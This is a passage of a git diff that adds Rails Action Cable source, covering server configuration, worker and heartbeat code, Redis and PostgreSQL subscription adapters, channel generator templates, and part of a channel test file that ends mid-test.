+    class Configuration
+      attr_accessor :logger, :log_tags
+      attr_accessor :connection_class, :worker_pool_size
+      attr_accessor :disable_request_forgery_protection, :allowed_request_origins, :allow_same_origin_as_host
+      attr_accessor :cable, :url, :mount_path
+
+      def initialize
+        @log_tags = []
+
+        @connection_class = -> { ActionCable::Connection::Base }
+        @worker_pool_size = 4
+
+        @disable_request_forgery_protection = false
+        @allow_same_origin_as_host = true
+      end
+
+      # Returns constant of subscription adapter specified in config/cable.yml.
+      # If the adapter cannot be found, this will default to the Redis adapter.
+      # Also makes sure proper dependencies are required.
+      def pubsub_adapter
+        adapter = (cable.fetch("adapter") { "redis" })
+        path_to_adapter = "action_cable/subscription_adapter/#{adapter}"
+        begin
+          require path_to_adapter
+        rescue Gem::LoadError => e
+          raise Gem::LoadError, "Specified '#{adapter}' for Action Cable pubsub adapter, but the gem is not loaded. Add `gem '#{e.name}'` to your Gemfile (and ensure its version is at the minimum required by Action Cable)."
+        rescue LoadError => e
+          raise LoadError, "Could not load '#{path_to_adapter}'. Make sure that the adapter in config/cable.yml is valid. If you use an adapter other than 'postgresql' or 'redis' add the necessary adapter gem to the Gemfile.", e.backtrace
+        end
+
+        adapter = adapter.camelize
+        adapter = "PostgreSQL" if adapter == "Postgresql"
+        "ActionCable::SubscriptionAdapter::#{adapter}".constantize
+      end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/server/connections.rb b/actioncable/lib/action_cable/server/connections.rb
new file mode 100644
index 0000000000..39557d63a7
--- /dev/null
+++ b/actioncable/lib/action_cable/server/connections.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module ActionCable
+  module Server
+    # Collection class for all the connections that have been established on this specific server. Remember, usually you'll run many Action Cable servers, so
+    # you can't use this collection as a full list of all of the connections established against your application. Instead, use RemoteConnections for that.
+    module Connections # :nodoc:
+      BEAT_INTERVAL = 3
+
+      def connections
+        @connections ||= []
+      end
+
+      def add_connection(connection)
+        connections << connection
+      end
+
+      def remove_connection(connection)
+        connections.delete connection
+      end
+
+      # WebSocket connection implementations differ on when they'll mark a connection as stale. We basically never want a connection to go stale, as you
+      # then can't rely on being able to communicate with the connection. To solve this, a 3 second heartbeat runs on all connections. If the beat fails, we automatically
+      # disconnect.
+      def setup_heartbeat_timer
+        @heartbeat_timer ||= event_loop.timer(BEAT_INTERVAL) do
+          event_loop.post { connections.map(&:beat) }
+        end
+      end
+
+      def open_connections_statistics
+        connections.map(&:statistics)
+      end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/server/worker.rb b/actioncable/lib/action_cable/server/worker.rb
new file mode 100644
index 0000000000..c69cc4ac31
--- /dev/null
+++ b/actioncable/lib/action_cable/server/worker.rb
@@ -0,0 +1,77 @@
+# frozen_string_literal: true
+
+require "active_support/callbacks"
+require "active_support/core_ext/module/attribute_accessors_per_thread"
+require "concurrent"
+
+module ActionCable
+  module Server
+    # Worker used by Server.send_async to do connection work in threads.
+    class Worker # :nodoc:
+      include ActiveSupport::Callbacks
+
+      thread_mattr_accessor :connection
+      define_callbacks :work
+      include ActiveRecordConnectionManagement
+
+      attr_reader :executor
+
+      def initialize(max_size: 5)
+        @executor = Concurrent::ThreadPoolExecutor.new(
+          min_threads: 1,
+          max_threads: max_size,
+          max_queue: 0,
+        )
+      end
+
+      # Stop processing work: any work that has not already started
+      # running will be discarded from the queue
+      def halt
+        @executor.shutdown
+      end
+
+      def stopping?
+        @executor.shuttingdown?
+      end
+
+      def work(connection)
+        self.connection = connection
+
+        run_callbacks :work do
+          yield
+        end
+      ensure
+        self.connection = nil
+      end
+
+      def async_exec(receiver, *args, connection:, &block)
+        async_invoke receiver, :instance_exec, *args, connection: connection, &block
+      end
+
+      def async_invoke(receiver, method, *args, connection: receiver, &block)
+        @executor.post do
+          invoke(receiver, method, *args, connection: connection, &block)
+        end
+      end
+
+      def invoke(receiver, method, *args, connection:, &block)
+        work(connection) do
+          begin
+            receiver.send method, *args, &block
+          rescue Exception => e
+            logger.error "There was an exception - #{e.class}(#{e.message})"
+            logger.error e.backtrace.join("\n")
+
+            receiver.handle_exception if receiver.respond_to?(:handle_exception)
+          end
+        end
+      end
+
+      private
+
+        def logger
+          ActionCable.server.logger
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/server/worker/active_record_connection_management.rb b/actioncable/lib/action_cable/server/worker/active_record_connection_management.rb
new file mode 100644
index 0000000000..2e378d4bf3
--- /dev/null
+++ b/actioncable/lib/action_cable/server/worker/active_record_connection_management.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module ActionCable
+  module Server
+    class Worker
+      module ActiveRecordConnectionManagement
+        extend ActiveSupport::Concern
+
+        included do
+          if defined?(ActiveRecord::Base)
+            set_callback :work, :around, :with_database_connections
+          end
+        end
+
+        def with_database_connections
+          connection.logger.tag(ActiveRecord::Base.logger) { yield }
+        end
+      end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/subscription_adapter.rb b/actioncable/lib/action_cable/subscription_adapter.rb
new file mode 100644
index 0000000000..bcece8d33b
--- /dev/null
+++ b/actioncable/lib/action_cable/subscription_adapter.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module ActionCable
+  module SubscriptionAdapter
+    extend ActiveSupport::Autoload
+
+    autoload :Base
+    autoload :SubscriberMap
+    autoload :ChannelPrefix
+  end
+end
diff --git a/actioncable/lib/action_cable/subscription_adapter/async.rb b/actioncable/lib/action_cable/subscription_adapter/async.rb
new file mode 100644
index 0000000000..96c18c4a2f
--- /dev/null
+++ b/actioncable/lib/action_cable/subscription_adapter/async.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require_relative "inline"
+
+module ActionCable
+  module SubscriptionAdapter
+    class Async < Inline # :nodoc:
+      private
+        def new_subscriber_map
+          AsyncSubscriberMap.new(server.event_loop)
+        end
+
+        class AsyncSubscriberMap < SubscriberMap
+          def initialize(event_loop)
+            @event_loop = event_loop
+            super()
+          end
+
+          def add_subscriber(*)
+            @event_loop.post { super }
+          end
+
+          def invoke_callback(*)
+            @event_loop.post { super }
+          end
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/subscription_adapter/base.rb b/actioncable/lib/action_cable/subscription_adapter/base.rb
new file mode 100644
index 0000000000..34077707fd
--- /dev/null
+++ b/actioncable/lib/action_cable/subscription_adapter/base.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+module ActionCable
+  module SubscriptionAdapter
+    class Base
+      attr_reader :logger, :server
+
+      def initialize(server)
+        @server = server
+        @logger = @server.logger
+      end
+
+      def broadcast(channel, payload)
+        raise NotImplementedError
+      end
+
+      def subscribe(channel, message_callback, success_callback = nil)
+        raise NotImplementedError
+      end
+
+      def unsubscribe(channel, message_callback)
+        raise NotImplementedError
+      end
+
+      def shutdown
+        raise NotImplementedError
+      end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/subscription_adapter/channel_prefix.rb b/actioncable/lib/action_cable/subscription_adapter/channel_prefix.rb
new file mode 100644
index 0000000000..df0aa040f5
--- /dev/null
+++ b/actioncable/lib/action_cable/subscription_adapter/channel_prefix.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module ActionCable
+  module SubscriptionAdapter
+    module ChannelPrefix # :nodoc:
+      def broadcast(channel, payload)
+        channel = channel_with_prefix(channel)
+        super
+      end
+
+      def subscribe(channel, callback, success_callback = nil)
+        channel = channel_with_prefix(channel)
+        super
+      end
+
+      def unsubscribe(channel, callback)
+        channel = channel_with_prefix(channel)
+        super
+      end
+
+      private
+        # Returns the channel name, including channel_prefix specified in cable.yml
+        def channel_with_prefix(channel)
+          [@server.config.cable[:channel_prefix], channel].compact.join(":")
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/subscription_adapter/evented_redis.rb b/actioncable/lib/action_cable/subscription_adapter/evented_redis.rb
new file mode 100644
index 0000000000..07774810ce
--- /dev/null
+++ b/actioncable/lib/action_cable/subscription_adapter/evented_redis.rb
@@ -0,0 +1,89 @@
+# frozen_string_literal: true
+
+require "thread"
+
+gem "em-hiredis", "~> 0.3.0"
+gem "redis", "~> 3.0"
+require "em-hiredis"
+require "redis"
+
+EventMachine.epoll  if EventMachine.epoll?
+EventMachine.kqueue if EventMachine.kqueue?
+
+module ActionCable
+  module SubscriptionAdapter
+    class EventedRedis < Base # :nodoc:
+      prepend ChannelPrefix
+
+      @@mutex = Mutex.new
+
+      # Overwrite this factory method for EventMachine Redis connections if you want to use a different Redis connection library than EM::Hiredis.
+      # This is needed, for example, when using Makara proxies for distributed Redis.
+      cattr_accessor :em_redis_connector, default: ->(config) { EM::Hiredis.connect(config[:url]) }
+
+      # Overwrite this factory method for Redis connections if you want to use a different Redis connection library than Redis.
+      # This is needed, for example, when using Makara proxies for distributed Redis.
+      cattr_accessor :redis_connector, default: ->(config) { ::Redis.new(url: config[:url]) }
+
+      def initialize(*)
+        ActiveSupport::Deprecation.warn(<<-MSG.squish)
+          The "evented_redis" subscription adapter is deprecated and
+          will be removed in Rails 5.2. Please use the "redis" adapter
+          instead.
+        MSG
+
+        super
+        @redis_connection_for_broadcasts = @redis_connection_for_subscriptions = nil
+      end
+
+      def broadcast(channel, payload)
+        redis_connection_for_broadcasts.publish(channel, payload)
+      end
+
+      def subscribe(channel, message_callback, success_callback = nil)
+        redis_connection_for_subscriptions.pubsub.subscribe(channel, &message_callback).tap do |result|
+          result.callback { |reply| success_callback.call } if success_callback
+        end
+      end
+
+      def unsubscribe(channel, message_callback)
+        redis_connection_for_subscriptions.pubsub.unsubscribe_proc(channel, message_callback)
+      end
+
+      def shutdown
+        redis_connection_for_subscriptions.pubsub.close_connection
+        @redis_connection_for_subscriptions = nil
+      end
+
+      private
+        def redis_connection_for_subscriptions
+          ensure_reactor_running
+          @redis_connection_for_subscriptions || @server.mutex.synchronize do
+            @redis_connection_for_subscriptions ||= self.class.em_redis_connector.call(@server.config.cable).tap do |redis|
+              redis.on(:reconnect_failed) do
+                @logger.error "[ActionCable] Redis reconnect failed."
+              end
+
+              redis.on(:failed) do
+                @logger.error "[ActionCable] Redis connection has failed."
+              end
+            end
+          end
+        end
+
+        def redis_connection_for_broadcasts
+          @redis_connection_for_broadcasts || @server.mutex.synchronize do
+            @redis_connection_for_broadcasts ||= self.class.redis_connector.call(@server.config.cable)
+          end
+        end
+
+        def ensure_reactor_running
+          return if EventMachine.reactor_running? && EventMachine.reactor_thread
+          @@mutex.synchronize do
+            Thread.new { EventMachine.run } unless EventMachine.reactor_running?
+            Thread.pass until EventMachine.reactor_running? && EventMachine.reactor_thread
+          end
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/subscription_adapter/inline.rb b/actioncable/lib/action_cable/subscription_adapter/inline.rb
new file mode 100644
index 0000000000..d2c85c1c8d
--- /dev/null
+++ b/actioncable/lib/action_cable/subscription_adapter/inline.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module ActionCable
+  module SubscriptionAdapter
+    class Inline < Base # :nodoc:
+      def initialize(*)
+        super
+        @subscriber_map = nil
+      end
+
+      def broadcast(channel, payload)
+        subscriber_map.broadcast(channel, payload)
+      end
+
+      def subscribe(channel, callback, success_callback = nil)
+        subscriber_map.add_subscriber(channel, callback, success_callback)
+      end
+
+      def unsubscribe(channel, callback)
+        subscriber_map.remove_subscriber(channel, callback)
+      end
+
+      def shutdown
+        # nothing to do
+      end
+
+      private
+        def subscriber_map
+          @subscriber_map || @server.mutex.synchronize { @subscriber_map ||= new_subscriber_map }
+        end
+
+        def new_subscriber_map
+          SubscriberMap.new
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/subscription_adapter/postgresql.rb b/actioncable/lib/action_cable/subscription_adapter/postgresql.rb
new file mode 100644
index 0000000000..a9c0949950
--- /dev/null
+++ b/actioncable/lib/action_cable/subscription_adapter/postgresql.rb
@@ -0,0 +1,114 @@
+# frozen_string_literal: true
+
+gem "pg", "~> 0.18"
+require "pg"
+require "thread"
+require "digest/sha1"
+
+module ActionCable
+  module SubscriptionAdapter
+    class PostgreSQL < Base # :nodoc:
+      def initialize(*)
+        super
+        @listener = nil
+      end
+
+      def broadcast(channel, payload)
+        with_connection do |pg_conn|
+          pg_conn.exec("NOTIFY #{pg_conn.escape_identifier(channel_identifier(channel))}, '#{pg_conn.escape_string(payload)}'")
+        end
+      end
+
+      def subscribe(channel, callback, success_callback = nil)
+        listener.add_subscriber(channel_identifier(channel), callback, success_callback)
+      end
+
+      def unsubscribe(channel, callback)
+        listener.remove_subscriber(channel_identifier(channel), callback)
+      end
+
+      def shutdown
+        listener.shutdown
+      end
+
+      def with_connection(&block) # :nodoc:
+        ActiveRecord::Base.connection_pool.with_connection do |ar_conn|
+          pg_conn = ar_conn.raw_connection
+
+          unless pg_conn.is_a?(PG::Connection)
+            raise "The Active Record database must be PostgreSQL in order to use the PostgreSQL Action Cable storage adapter"
+          end
+
+          yield pg_conn
+        end
+      end
+
+      private
+        def channel_identifier(channel)
+          channel.size > 63 ? Digest::SHA1.hexdigest(channel) : channel
+        end
+
+        def listener
+          @listener || @server.mutex.synchronize { @listener ||= Listener.new(self, @server.event_loop) }
+        end
+
+        class Listener < SubscriberMap
+          def initialize(adapter, event_loop)
+            super()
+
+            @adapter = adapter
+            @event_loop = event_loop
+            @queue = Queue.new
+
+            @thread = Thread.new do
+              Thread.current.abort_on_exception = true
+              listen
+            end
+          end
+
+          def listen
+            @adapter.with_connection do |pg_conn|
+              catch :shutdown do
+                loop do
+                  until @queue.empty?
+                    action, channel, callback = @queue.pop(true)
+
+                    case action
+                    when :listen
+                      pg_conn.exec("LISTEN #{pg_conn.escape_identifier channel}")
+                      @event_loop.post(&callback) if callback
+                    when :unlisten
+                      pg_conn.exec("UNLISTEN #{pg_conn.escape_identifier channel}")
+                    when :shutdown
+                      throw :shutdown
+                    end
+                  end
+
+                  pg_conn.wait_for_notify(1) do |chan, pid, message|
+                    broadcast(chan, message)
+                  end
+                end
+              end
+            end
+          end
+
+          def shutdown
+            @queue.push([:shutdown])
+            Thread.pass while @thread.alive?
+          end
+
+          def add_channel(channel, on_success)
+            @queue.push([:listen, channel, on_success])
+          end
+
+          def remove_channel(channel)
+            @queue.push([:unlisten, channel])
+          end
+
+          def invoke_callback(*)
+            @event_loop.post { super }
+          end
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/subscription_adapter/redis.rb b/actioncable/lib/action_cable/subscription_adapter/redis.rb
new file mode 100644
index 0000000000..c64f55f5b7
--- /dev/null
+++ b/actioncable/lib/action_cable/subscription_adapter/redis.rb
@@ -0,0 +1,178 @@
+# frozen_string_literal: true
+
+require "thread"
+
+gem "redis", "~> 3.0"
+require "redis"
+
+module ActionCable
+  module SubscriptionAdapter
+    class Redis < Base # :nodoc:
+      prepend ChannelPrefix
+
+      # Overwrite this factory method for redis connections if you want to use a different Redis library than Redis.
+      # This is needed, for example, when using Makara proxies for distributed Redis.
+      cattr_accessor :redis_connector, default: ->(config) do
+        ::Redis.new(config.slice(:url, :host, :port, :db, :password))
+      end
+
+      def initialize(*)
+        super
+        @listener = nil
+        @redis_connection_for_broadcasts = nil
+      end
+
+      def broadcast(channel, payload)
+        redis_connection_for_broadcasts.publish(channel, payload)
+      end
+
+      def subscribe(channel, callback, success_callback = nil)
+        listener.add_subscriber(channel, callback, success_callback)
+      end
+
+      def unsubscribe(channel, callback)
+        listener.remove_subscriber(channel, callback)
+      end
+
+      def shutdown
+        @listener.shutdown if @listener
+      end
+
+      def redis_connection_for_subscriptions
+        redis_connection
+      end
+
+      private
+        def listener
+          @listener || @server.mutex.synchronize { @listener ||= Listener.new(self, @server.event_loop) }
+        end
+
+        def redis_connection_for_broadcasts
+          @redis_connection_for_broadcasts || @server.mutex.synchronize do
+            @redis_connection_for_broadcasts ||= redis_connection
+          end
+        end
+
+        def redis_connection
+          self.class.redis_connector.call(@server.config.cable)
+        end
+
+        class Listener < SubscriberMap
+          def initialize(adapter, event_loop)
+            super()
+
+            @adapter = adapter
+            @event_loop = event_loop
+
+            @subscribe_callbacks = Hash.new { |h, k| h[k] = [] }
+            @subscription_lock = Mutex.new
+
+            @raw_client = nil
+
+            @when_connected = []
+
+            @thread = nil
+          end
+
+          def listen(conn)
+            conn.without_reconnect do
+              original_client = conn.client
+
+              conn.subscribe("_action_cable_internal") do |on|
+                on.subscribe do |chan, count|
+                  @subscription_lock.synchronize do
+                    if count == 1
+                      @raw_client = original_client
+
+                      until @when_connected.empty?
+                        @when_connected.shift.call
+                      end
+                    end
+
+                    if callbacks = @subscribe_callbacks[chan]
+                      next_callback = callbacks.shift
+                      @event_loop.post(&next_callback) if next_callback
+                      @subscribe_callbacks.delete(chan) if callbacks.empty?
+                    end
+                  end
+                end
+
+                on.message do |chan, message|
+                  broadcast(chan, message)
+                end
+
+                on.unsubscribe do |chan, count|
+                  if count == 0
+                    @subscription_lock.synchronize do
+                      @raw_client = nil
+                    end
+                  end
+                end
+              end
+            end
+          end
+
+          def shutdown
+            @subscription_lock.synchronize do
+              return if @thread.nil?
+
+              when_connected do
+                send_command("unsubscribe")
+                @raw_client = nil
+              end
+            end
+
+            Thread.pass while @thread.alive?
+          end
+
+          def add_channel(channel, on_success)
+            @subscription_lock.synchronize do
+              ensure_listener_running
+              @subscribe_callbacks[channel] << on_success
+              when_connected { send_command("subscribe", channel) }
+            end
+          end
+
+          def remove_channel(channel)
+            @subscription_lock.synchronize do
+              when_connected { send_command("unsubscribe", channel) }
+            end
+          end
+
+          def invoke_callback(*)
+            @event_loop.post { super }
+          end
+
+          private
+            def ensure_listener_running
+              @thread ||= Thread.new do
+                Thread.current.abort_on_exception = true
+
+                conn = @adapter.redis_connection_for_subscriptions
+                listen conn
+              end
+            end
+
+            def when_connected(&block)
+              if @raw_client
+                block.call
+              else
+                @when_connected << block
+              end
+            end
+
+            def send_command(*command)
+              @raw_client.write(command)
+
+              very_raw_connection =
+                @raw_client.connection.instance_variable_defined?(:@connection) &&
+                @raw_client.connection.instance_variable_get(:@connection)
+
+              if very_raw_connection && very_raw_connection.respond_to?(:flush)
+                very_raw_connection.flush
+              end
+            end
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/subscription_adapter/subscriber_map.rb b/actioncable/lib/action_cable/subscription_adapter/subscriber_map.rb
new file mode 100644
index 0000000000..01cdc2dfa1
--- /dev/null
+++ b/actioncable/lib/action_cable/subscription_adapter/subscriber_map.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+module ActionCable
+  module SubscriptionAdapter
+    class SubscriberMap
+      def initialize
+        @subscribers = Hash.new { |h, k| h[k] = [] }
+        @sync = Mutex.new
+      end
+
+      def add_subscriber(channel, subscriber, on_success)
+        @sync.synchronize do
+          new_channel = !@subscribers.key?(channel)
+
+          @subscribers[channel] << subscriber
+
+          if new_channel
+            add_channel channel, on_success
+          elsif on_success
+            on_success.call
+          end
+        end
+      end
+
+      def remove_subscriber(channel, subscriber)
+        @sync.synchronize do
+          @subscribers[channel].delete(subscriber)
+
+          if @subscribers[channel].empty?
+            @subscribers.delete channel
+            remove_channel channel
+          end
+        end
+      end
+
+      def broadcast(channel, message)
+        list = @sync.synchronize do
+          return if !@subscribers.key?(channel)
+          @subscribers[channel].dup
+        end
+
+        list.each do |subscriber|
+          invoke_callback(subscriber, message)
+        end
+      end
+
+      def add_channel(channel, on_success)
+        on_success.call if on_success
+      end
+
+      def remove_channel(channel)
+      end
+
+      def invoke_callback(callback, message)
+        callback.call message
+      end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/version.rb b/actioncable/lib/action_cable/version.rb
new file mode 100644
index 0000000000..86115c6065
--- /dev/null
+++ b/actioncable/lib/action_cable/version.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+require_relative "gem_version"
+
+module ActionCable
+  # Returns the version of the currently loaded Action Cable as a <tt>Gem::Version</tt>
+  def self.version
+    gem_version
+  end
+end
diff --git a/actioncable/lib/rails/generators/channel/USAGE b/actioncable/lib/rails/generators/channel/USAGE
new file mode 100644
index 0000000000..dd109fda80
--- /dev/null
+++ b/actioncable/lib/rails/generators/channel/USAGE
@@ -0,0 +1,14 @@
+Description:
+============
+    Stubs out a new cable channel for the server (in Ruby) and client (in CoffeeScript).
+    Pass the channel name, either CamelCased or under_scored, and an optional list of channel actions as arguments.
+
+    Note: Turn on the cable connection in app/assets/javascripts/cable.js after generating any channels.
+
+Example:
+========
+    rails generate channel Chat speak
+
+    creates a Chat channel class and CoffeeScript asset:
+        Channel:    app/channels/chat_channel.rb
+        Assets:     app/assets/javascripts/channels/chat.coffee
diff --git a/actioncable/lib/rails/generators/channel/channel_generator.rb b/actioncable/lib/rails/generators/channel/channel_generator.rb
new file mode 100644
index 0000000000..c3528370c6
--- /dev/null
+++ b/actioncable/lib/rails/generators/channel/channel_generator.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+module Rails
+  module Generators
+    class ChannelGenerator < NamedBase
+      source_root File.expand_path("templates", __dir__)
+
+      argument :actions, type: :array, default: [], banner: "method method"
+
+      class_option :assets, type: :boolean
+
+      check_class_collision suffix: "Channel"
+
+      def create_channel_file
+        template "channel.rb", File.join("app/channels", class_path, "#{file_name}_channel.rb")
+
+        if options[:assets]
+          if behavior == :invoke
+            template "assets/cable.js", "app/assets/javascripts/cable.js"
+          end
+
+          js_template "assets/channel", File.join("app/assets/javascripts/channels", class_path, "#{file_name}")
+        end
+
+        generate_application_cable_files
+      end
+
+      private
+        def file_name
+          @_file_name ||= super.gsub(/_channel/i, "")
+        end
+
+        # FIXME: Change these files to symlinks once RubyGems 2.5.0 is required.
+        def generate_application_cable_files
+          return if behavior != :invoke
+
+          files = [
+            "application_cable/channel.rb",
+            "application_cable/connection.rb"
+          ]
+
+          files.each do |name|
+            path = File.join("app/channels/", name)
+            template(name, path) if !File.exist?(path)
+          end
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/rails/generators/channel/templates/application_cable/channel.rb b/actioncable/lib/rails/generators/channel/templates/application_cable/channel.rb
new file mode 100644
index 0000000000..d672697283
--- /dev/null
+++ b/actioncable/lib/rails/generators/channel/templates/application_cable/channel.rb
@@ -0,0 +1,4 @@
+module ApplicationCable
+  class Channel < ActionCable::Channel::Base
+  end
+end
diff --git a/actioncable/lib/rails/generators/channel/templates/application_cable/connection.rb b/actioncable/lib/rails/generators/channel/templates/application_cable/connection.rb
new file mode 100644
index 0000000000..0ff5442f47
--- /dev/null
+++ b/actioncable/lib/rails/generators/channel/templates/application_cable/connection.rb
@@ -0,0 +1,4 @@
+module ApplicationCable
+  class Connection < ActionCable::Connection::Base
+  end
+end
diff --git a/actioncable/lib/rails/generators/channel/templates/assets/cable.js b/actioncable/lib/rails/generators/channel/templates/assets/cable.js
new file mode 100644
index 0000000000..739aa5f022
--- /dev/null
+++ b/actioncable/lib/rails/generators/channel/templates/assets/cable.js
@@ -0,0 +1,13 @@
+// Action Cable provides the framework to deal with WebSockets in Rails.
+// You can generate new channels where WebSocket features live using the `rails generate channel` command.
+//
+//= require action_cable
+//= require_self
+//= require_tree ./channels
+
+(function() {
+  this.App || (this.App = {});
+
+  App.cable = ActionCable.createConsumer();
+
+}).call(this);
diff --git a/actioncable/lib/rails/generators/channel/templates/assets/channel.coffee b/actioncable/lib/rails/generators/channel/templates/assets/channel.coffee
new file mode 100644
index 0000000000..5467811aba
--- /dev/null
+++ b/actioncable/lib/rails/generators/channel/templates/assets/channel.coffee
@@ -0,0 +1,14 @@
+App.<%= class_name.underscore %> = App.cable.subscriptions.create "<%= class_name %>Channel",
+  connected: ->
+    # Called when the subscription is ready for use on the server
+
+  disconnected: ->
+    # Called when the subscription has been terminated by the server
+
+  received: (data) ->
+    # Called when there's incoming data on the websocket for this channel
+<% actions.each do |action| -%>
+
+  <%= action %>: ->
+    @perform '<%= action %>'
+<% end -%>
diff --git a/actioncable/lib/rails/generators/channel/templates/assets/channel.js b/actioncable/lib/rails/generators/channel/templates/assets/channel.js
new file mode 100644
index 0000000000..ab0e68b11a
--- /dev/null
+++ b/actioncable/lib/rails/generators/channel/templates/assets/channel.js
@@ -0,0 +1,18 @@
+App.<%= class_name.underscore %> = App.cable.subscriptions.create("<%= class_name %>Channel", {
+  connected: function() {
+    // Called when the subscription is ready for use on the server
+  },
+
+  disconnected: function() {
+    // Called when the subscription has been terminated by the server
+  },
+
+  received: function(data) {
+    // Called when there's incoming data on the websocket for this channel
+  }<%= actions.any? ? ",\n" : '' %>
+<% actions.each do |action| -%>
+  <%=action %>: function() {
+    return this.perform('<%= action %>');
+  }<%= action == actions[-1] ? '' : ",\n" %>
+<% end -%>
+});
diff --git a/actioncable/lib/rails/generators/channel/templates/channel.rb b/actioncable/lib/rails/generators/channel/templates/channel.rb
new file mode 100644
index 0000000000..4bcfb2be4d
--- /dev/null
+++ b/actioncable/lib/rails/generators/channel/templates/channel.rb
@@ -0,0 +1,16 @@
+<% module_namespacing do -%>
+class <%= class_name %>Channel < ApplicationCable::Channel
+  def subscribed
+    # stream_from "some_channel"
+  end
+
+  def unsubscribed
+    # Any cleanup needed when channel is unsubscribed
+  end
+<% actions.each do |action| -%>
+
+  def <%= action %>
+  end
+<% end -%>
+end
+<% end -%>
diff --git a/actioncable/package.json b/actioncable/package.json
new file mode 100644
index 0000000000..acec1e2e9c
--- /dev/null
+++ b/actioncable/package.json
@@ -0,0 +1,24 @@
+{
+  "name": "actioncable",
+  "version": "5.2.0-alpha",
+  "description": "WebSocket framework for Ruby on Rails.",
+  "main": "lib/assets/compiled/action_cable.js",
+  "files": [
+    "lib/assets/compiled/*.js"
+  ],
+  "repository": {
+    "type": "git",
+    "url": "rails/rails"
+  },
+  "keywords": [
+    "websockets",
+    "actioncable",
+    "rails"
+  ],
+  "author": "David Heinemeier Hansson <david@loudthinking.com>",
+  "license": "MIT",
+  "bugs": {
+    "url": "https://github.com/rails/rails/issues"
+  },
+  "homepage": "http://rubyonrails.org/"
+}
diff --git a/actioncable/test/channel/base_test.rb b/actioncable/test/channel/base_test.rb
new file mode 100644
index 0000000000..866bd7c21b
--- /dev/null
+++ b/actioncable/test/channel/base_test.rb
@@ -0,0 +1,272 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "stubs/test_connection"
+require "stubs/room"
+
+class ActionCable::Channel::BaseTest < ActiveSupport::TestCase
+  class ActionCable::Channel::Base
+    def kick
+      @last_action = [ :kick ]
+    end
+
+    def topic
+    end
+  end
+
+  class BasicChannel < ActionCable::Channel::Base
+    def chatters
+      @last_action = [ :chatters ]
+    end
+  end
+
+  class ChatChannel < BasicChannel
+    attr_reader :room, :last_action
+    after_subscribe :toggle_subscribed
+    after_unsubscribe :toggle_subscribed
+
+    def initialize(*)
+      @subscribed = false
+      super
+    end
+
+    def subscribed
+      @room = Room.new params[:id]
+      @actions = []
+    end
+
+    def unsubscribed
+      @room = nil
+    end
+
+    def toggle_subscribed
+      @subscribed = !@subscribed
+    end
+
+    def leave
+      @last_action = [ :leave ]
+    end
+
+    def speak(data)
+      @last_action = [ :speak, data ]
+    end
+
+    def topic(data)
+      @last_action = [ :topic, data ]
+    end
+
+    def subscribed?
+      @subscribed
+    end
+
+    def get_latest
+      transmit data: "latest"
+    end
+
+    def receive
+      @last_action = [ :receive ]
+    end
+
+    private
+      def rm_rf
+        @last_action = [ :rm_rf ]
+      end
+  end
+
+  setup do
+    @user = User.new "lifo"
+    @connection = TestConnection.new(@user)
+    @channel = ChatChannel.new @connection, "{id: 1}", id: 1
+  end
+
+  test "should subscribe to a channel" do
+    @channel.subscribe_to_channel
+    assert_equal 1, @channel.room.id
+  end
+
+  test "on subscribe callbacks" do
+    @channel.subscribe_to_channel
+    assert @channel.subscribed
+  end
+
+  test "channel params" do
+    assert_equal({ id: 1 }, @channel.params)
+  end
+
+  test "unsubscribing from a channel" do
+    @channel.subscribe_to_channel
+
+    assert @channel.room
+    assert @channel.subscribed?
+
+    @channel.unsubscribe_from_channel
+
+    assert ! @channel.room
+    assert ! @channel.subscribed?
+  end
+
+  test "connection identifiers" do
+    assert_equal @user.name, @channel.current_user.name
+  end
+
+  test "callable action without any argument" do
+    @channel.perform_action "action" => :leave
+    assert_equal [ :leave ], @channel.last_action
+  end
+
+  test "callable action with arguments" do
+    data = { "action" => :speak, "content" => "Hello World" }
+
+    @channel.perform_action data
+    assert_equal [ :speak, data ], @channel.last_action
+  end
+
+  test "should not dispatch a private method" do
+    @channel.perform_action "action" => :rm_rf
+    assert_nil @channel.last_action
+  end
+
+  test "should not dispatch a public method defined on Base" do
+    @channel.perform_action "action" => :kick
+    assert_nil @channel.last_action
+  end
+
+  test "should dispatch a public method defined on Base and redefined on channel" do
+    data = { "action" => :topic, "content" => "This is Sparta!" }
+
+    @channel.perform_action data
+    assert_equal [ :topic, data ], @channel.last_action
+  end
+
+  test "should dispatch calling a public method defined in an ancestor" do
+    @channel.perform_action "action" => :chatters
+    assert_equal [ :chatters ], @channel.last_action
+  end
+
+  test "should dispatch receive action when perform_action is called with empty action" do
+    data = { "content" => "hello" }
+    @channel.perform_action data
+    assert_equal [ :receive ], @channel.last_action
+  end
+
+  test "transmitting data" do
+    @channel.perform_action "action" => :get_latest
+
+    expected = { "identifier" => "{id: 1}", "message" => { "data" => "latest" } }
+    assert_equal expected, @connection.last_transmission
+  end
+
+  test "do not send subscription confirmation on initialize" do
+    assert_nil @connection.last_transmission
+  end
+
+  test "subscription confirmation on subscribe_to_channel" do
+    expected = { "identifier" => "{id: 1}", "type" => "confirm_subscription" }
+    @channel.subscribe_to_channel
+    assert_equal expected, @connection.last_transmission
+  end
+
+  test "actions available on Channel" do
